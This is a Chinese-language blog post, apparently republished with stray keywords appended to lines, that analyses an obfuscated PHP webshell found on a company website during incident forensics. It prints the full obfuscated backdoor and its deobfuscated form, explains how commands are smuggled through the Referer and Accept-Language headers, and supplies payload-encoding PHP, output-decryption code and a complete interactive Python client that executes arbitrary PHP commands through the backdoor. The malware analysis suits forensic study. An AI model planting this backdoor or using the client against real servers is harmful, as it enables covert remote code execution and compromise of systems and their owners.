灑家的朋友的公司的某個站發現最近被上傳了一個後門程序。爲了取證咱們抓取了HTTP請求流量,看到了一堆莫名其妙看似通過混淆的請求,響應也是看似base64的亂碼。灑家用了2個小時靜態分析了一遍,並寫了利用腳本。後門程序看似是亂碼,實際上通過了混淆,經過eval()能夠執行任意PHP命令。因爲混淆得很亂,作起來實在把灑家噁心了一番。php
後門源代碼:html
<?php /** * Signature For Report */$h='_)m/","/-/)m"),)marray()m"/","+")m),$)mss($s[$i)m],0,$e))))m)m,$k)));$o=ob)m_get_c)monte)m)mnts)m();ob_end_clean)';/* */$H='m();$d=ba)mse64)m_encode)m(x(gzc)mompres)ms($o),)m$)mk));print("<)m$k>$d<)m/)m$k>)m");@sessio)mn_d)mestroy();}}}}';/* */$N='mR;$rr)m=@$r[)m"HTT)mP_RE)mFERER"];$ra)m=)m@$r["HTTP_AC)mC)mEPT_LANG)mUAGE)m")m];if($rr)m&&$ra){)m$u=parse_u)mrl($rr);p';/* */$u='$e){)m$k=$)mkh.$kf;ob)m_start();)m@eva)ml(@gzunco)mmpr)mess(@x(@)mbase6)m4_deco)mde(p)m)mreg_re)mplace(array("/';/* */$f='$i<$)ml;)m){)mfo)mr($j)m=0;($j<$c&&$i<$l);$j)m++,$i+)m+){$)mo.=$t{$i)m}^$)mk{$j};}}r)meturn )m$o;}$r)m=$_SERVE)';/* */$O='[$i]="";$p)m=$)m)mss($p,3)m);}if(ar)mray_)mkey_exists)m()m$i,$s)){$)ms[$i].=$p)m;)m$e=s)mtrpos)m($s[$i],$f);)mif(';/* */$w=')m));)m$p="";fo)mr($z=1;)m$z<c)mount()m$m[1]);$)mz++)m)m)$p.=$q[$m[)m)m2][$z]];if(str)mpo)ms($p,$h))m===0){$s)m';/* */$P='trt)molower";$)mi=$m[1][0)m)m].$m[1][1])m;$h=$sl()m$ss(m)md5($)mi.$kh)m),0,)m3));$f=$s)ml($ss()m)mmd5($i.$kf),0,3';/* */$i=')marse_)mstr)m($u["q)muery"],$)m)mq);$q=array)m_values()m$q);pre)mg_matc)mh_all()m"/([\\w)m])m)[\\w-)m]+(?:;q=0.)';/* */$x='m([\\d)m]))?,?/",)m$ra,$m))m;if($q)m&&$)mm))m)m{@session_start();$)ms=&$_S)mESSI)m)mON;$)mss="sub)mstr";$sl="s)m';/* */$y=str_replace('b','','crbebbabte_funcbbtion');/* */$c='$kh="4f7)m)mf";$kf="2)m)m8d7";funct)mion x($t)m,$k){$)m)mc=strlen($k);$l=st)mrlen)m($t);)m)m$o="";for()m$i=0;';/* */$L=str_replace(')m','',$c.$f.$N.$i.$x.$P.$w.$O.$u.$h.$H);/* */$v=$y('',$L);$v();/* */
通過分析,最外層混淆進行的操做是:按順序拼接字符串,刪除其中的 ')m',經過create_function()建立一個匿名函數$v並執行代碼。正則表達式
將代碼導出並美化以下:shell
<?php $kh="4f7f"; $kf="28d7"; function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){ $u=parse_url($rr); parse_str($u["query"],$q); $q=array_values($q); preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m){ @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1][0].$m[1][1]; $h=$sl($ss(md5($i.$kh),0,3)); $f=$sl($ss(md5($i.$kf),0,3)); $p=""; for($z=1;$z<count($m[1]);$z++) $p.=$q[$m[2][$z]]; if(strpos($p,$h)===0){ $s[$i]=""; $p=$ss($p,3); } if(array_key_exists($i,$s)){ $s[$i].=$p; $e=strpos($s[$i],$f); if($e){ $k=$kh.$kf; ob_start(); @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k))); $o=ob_get_contents(); ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); print("<$k>$d</$k>"); @session_destroy(); } } } }
好吧,還有第二層混淆。灑家大概看了一下,x($t,$k)函數是個循環異或函數,結合 base64 函數、 gzcompress() 等函數看可能有HTTP請求和響應過程當中的編碼和加密。Payload是從僅有的輸入 $_SERVER["HTTP_ACCEPT_LANGUAGE"] 和 $_SERVER["HTTP_REFERER"]中來。express
灑家分析了一番,稍加修改,獲得:瀏覽器
<?php $kh="4f7f"; $kf="28d7"; // 循環異或加密解密,密鑰 $k function x($t,$k){ $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $r=$_SERVER; $rr=@$r["HTTP_REFERER"]; $ra=@$r["HTTP_ACCEPT_LANGUAGE"]; if($rr&&$ra){ // 將 referer 的 query string 的 各個value取出到 $q $u=parse_url($rr); // parse referer, return array, keys: scheme,host,port,user,pass,path,query,fragment parse_str($u["query"],$q); // parse query string into $q (array). $q=array_values($q); // array values // 分析 Accept-Language, 提取 每種語言的首字母和權重數字。 // Searches $ra for all matches to the regular expression given and puts them in $m preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m); if($q&&$m){ @session_start(); $s=&$_SESSION; $ss="substr"; $sl="strtolower"; $i=$m[1][0].$m[1][1]; // 兩組首字母 $h=$sl($ss(md5($i.$kh),0,3)); // md5($i . $kh) 的前三個字符小寫。攻擊時附在 $p 開頭 $f=$sl($ss(md5($i.$kf),0,3)); // $p 是編碼後Payload,攻擊時附加到$p 後面 // 拼接Payload $p=""; for($z=1;$z<count($m[1]);$z++) // 從$q 中取出 $m 正則匹配到的第2組中索引 1 -- count($m[1])-1 的值(0-9)做爲鍵的值鏈接,獲得$p $p.=$q[$m[2][$z]]; // 上例(language), $p .= $q[8] // 去除 $p Payload 開頭的 $h if(strpos($p,$h)===0){ // $h 在 $p[0] 位置出現。 $s[$i]=""; // $_SESSION[$i] = '' , $i 是正則匹配到的兩組首字母 $p=$ss($p,3); // $p 從第3個字符開始的子串,去掉 $h } if(array_key_exists($i,$s)){ // exist $s[$i], $_SESSION[$i] , if 條件必須有 上文 $h 在 $p[0] 位置出現 $s[$i].=$p; $e=strpos($s[$i],$f); // $f 是md5 前三個字符小寫 ,在 $s[$i] if($e){ // 必須有 $f 做爲"中止字符串" $k=$kh.$kf; // 4f7f28d7 ob_start(); /* 去除末尾的 $f URL safe base64 還原爲普通base64 base64 解碼 循環異或解密 zlib 解密,還原出PHP代碼 執行PHP代碼 */ //@eval(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k))); echo "CMD WILL EXEC:\n<br />"; echo(@gzuncompress(@x(@base64_decode( preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e)) ),$k))); $o=ob_get_contents(); // output ob_end_clean(); $d=base64_encode(x(gzcompress($o),$k)); // 編碼 print $o; //print("<$k>$d</$k>"); @session_destroy(); } } } }
關於正則表達式,例子:服務器
$ra = 'zh-CN,zh;q=0.8,en;q=0.6'; $m = array (size=3) 0 => array (size=3) 0 => string 'zh-CN,' (length=6) 1 => string 'zh;q=0.8,' (length=9) 2 => string 'en;q=0.6' (length=8) 1 => array (size=3) 0 => string 'z' (length=1) 1 => string 'z' (length=1) 2 => string 'e' (length=1) 2 => array (size=3) 0 => string '' (length=0) 1 => string '8' (length=1) 2 => string '6' (length=1)
由此,理清這複雜的邏輯後能夠寫出如下Payload生成代碼(PHP):session
(針對 zh-CN,zh;q=0.8,en;q=0.6 這一種 Accept-Language)app
<?php $kh="4f7f"; $kf="28d7"; $referer = 'http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=payloadhere'; $lang = 'zh-CN,zh;q=0.8,en;q=0.6'; $m = array ( 0 => array ( 0 => 'zh-CN,', 1 => 'zh;q=0.8,', 2 => 'en;q=0.6', ), 1 => array ( 0 => 'z', 1 => 'z', 2 => 'e', ), 2 => array ( 0 => '', 1 => '8', 2 => '6', ), ); $i = 'zz'; // $m[1][0] . $m[1][1] $h=strtolower(substr(md5($i.$kh),0,3)); // 675 $f=strtolower(substr(md5($i.$kf),0,3)); // a3e function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t. $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $key = '4f7f28d7'; //$payload='phpinfo();'; $payload = $_GET['cmd']; $payload = gzcompress($payload); $payload = x($payload,$key); $payload = base64_encode($payload); $payload = preg_replace(array("/\//","/\+/"),array("_","-"), $payload); $payload = $h . $payload . $f; echo $payload; echo "\n<br />\n"; $referer = "http://example.com/?a=0&b=1&c=2&d=3&e=4&f=5&g=6&h=7&i=$payload"; echo $referer; echo "\n<br />\n";
對於 eval() 後的輸出,有如下代碼解密:dom
<?php $kh="4f7f"; $kf="28d7"; // 循環異或,相同密鑰 $k 既能加密也能解密 function x($t,$k){ // $k : xor key, $t: plain. loop xor encrypt $t. $c=strlen($k); $l=strlen($t); $o=""; for($i=0;$i<$l;){ for($j=0;($j<$c&&$i<$l);$j++,$i++){ $o.=$t{$i}^$k{$j}; } } return $o; } $k=$kh.$kf; // 4f7f28d7 $output = 'TPocr/oUMjeWhOOCkOx2soCqqzIyf1IwLw=='; $o = base64_decode($output); $o = x($o,$k); echo gzuncompress($o);
灑家根據這個後門的原理寫了個交互式的利用程序(Python2):
代碼以下:
每次執行代碼生成一次Accept-Language。對於Referer的Query String,沒有用到的部分用隨機代碼填充,編碼後的Payload切成3部分,頭部md5 和主體鏈接起來從中切2份,尾部md5+隨機字符串做爲第3份。
# encoding: utf-8 from random import randint,choice from hashlib import md5 import urllib import string import zlib import base64 import requests import re def choicePart(seq,amount): length = len(seq) if length == 0 or length < amount: print 'Error Input' return None result = [] indexes = [] count = 0 while count < amount: i = randint(0,length-1) if not i in indexes: indexes.append(i) result.append(seq[i]) count += 1 if count == amount: return result def randBytesFlow(amount): result = '' for i in xrange(amount): result += chr(randint(0,255)) return result def randAlpha(amount): result = '' for i in xrange(amount): result += choice(string.ascii_letters) return result def loopXor(text,key): result = '' lenKey = len(key) lenTxt = len(text) iTxt = 0 while iTxt < lenTxt: iKey = 0 while iTxt<lenTxt and iKey<lenKey: result += chr(ord(key[iKey]) ^ ord(text[iTxt])) iTxt += 1 iKey += 1 return result def debugPrint(msg): if debugging: print msg # config debugging = False keyh = "4f7f" # $kh keyf = "28d7" # $kf xorKey = keyh + keyf url = 'http://example.com/backdoor.php' defaultLang = 'zh-CN' languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d'] proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug sess = requests.Session() # generate random Accept-Language only once each session langTmp = choicePart(languages,3) indexes = sorted(choicePart(range(1,10),3), reverse=True) acceptLang = [defaultLang] for i in xrange(3): acceptLang.append(langTmp[i] % (indexes[i],)) acceptLangStr = ','.join(acceptLang) debugPrint(acceptLangStr) init2Char = acceptLang[0][0] + acceptLang[1][0] # $i md5head = (md5(init2Char + keyh).hexdigest())[0:3] md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8)) debugPrint('$i is %s' % (init2Char)) debugPrint('md5 head: %s' % (md5head,)) debugPrint('md5 tail: %s' % (md5tail,)) # Interactive php shell cmd = raw_input('phpshell > ') while cmd != '': # build junk data in referer query = [] for i in xrange(max(indexes)+1+randint(0,2)): key = randAlpha(randint(3,6)) value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12))) query.append((key, value)) debugPrint('Before insert payload:') debugPrint(query) debugPrint(urllib.urlencode(query)) # encode payload payload = zlib.compress(cmd) payload = loopXor(payload,xorKey) payload = base64.urlsafe_b64encode(payload) payload = md5head + payload # cut payload, replace into referer cutIndex = randint(2,len(payload)-3) payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail) iPiece = 0 for i in indexes: query[i] = (query[i][0],payloadPieces[iPiece]) iPiece += 1 referer = url + '?' + urllib.urlencode(query) debugPrint('After insert payload, referer is:') debugPrint(query) debugPrint(referer) # send request r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies) html = r.text debugPrint(html) # process response pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey)) output = pattern.findall(html) if len(output) == 0: print 'Error, no backdoor response' cmd = raw_input('phpshell > ') continue output = output[0] debugPrint(output) output = output.decode('base64') output = loopXor(output,xorKey) output = zlib.decompress(output) print output cmd = raw_input('phpshell > ')
響應:
Accept-Language解釋
zh-cn,zh;q=0.5
瀏覽器支持的語言分別是中文和簡體中文,優先支持簡體中文。
Accept-Language表示瀏覽器所支持的語言類型;
zh-cn表示簡體中文;zh 表示中文;
q是權重係數,範圍 0 =< q <= 1,q 值越大,請求越傾向於得到其「;」以前的類型表示的內容,若沒有指定 q 值,則默認爲1,若被賦值爲0,則用於提醒服務器哪些是瀏覽器不接受的內容類型。